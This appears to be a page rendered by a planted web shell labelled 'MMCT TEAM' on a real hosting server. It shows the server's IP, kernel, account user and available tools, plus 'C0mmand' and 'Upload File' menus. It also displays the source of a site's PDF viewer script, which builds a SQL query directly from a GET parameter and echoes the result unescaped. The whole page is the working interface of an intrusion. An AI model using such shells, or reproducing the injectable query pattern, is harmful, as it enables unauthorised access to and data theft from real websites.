MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/jcboseedu.org/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/jcboseedu.org/viewer_demo.php
<?php
session_start();

if(isset($_SESSION["stuusername"]) && !empty($_SESSION["stuusername"])){
  include("admin/include/config.inc.php");

  $file_path='';

  if(isset($_GET['utm_f'])){
    $file_code=$_GET["utm_f"];

    $data_found=mysqli_fetch_all(mysqli_query($con,"select * from studentcorner WHERE filecode='".$file_code."' LIMIT 1"),MYSQLI_ASSOC);

    if(!empty($data_found)){
      $file_path='http://jcboseedu.org/admin/images/'.$data_found[0]['filename'];
    }
  }else{
    header('Location:http://jcboseedu.org/student_corner.php');
  }
}else{
  header('Location:http://jcboseedu.org/student_corner.php');
}

?>

<object data="<?php echo $file_path;?>" type="application/pdf" width="100%" height="100%">
  <p>Alternative text - include a link <a href="<?php echo $file_path;?>">to the PDF!</a></p>
</object>

MMCT - 2023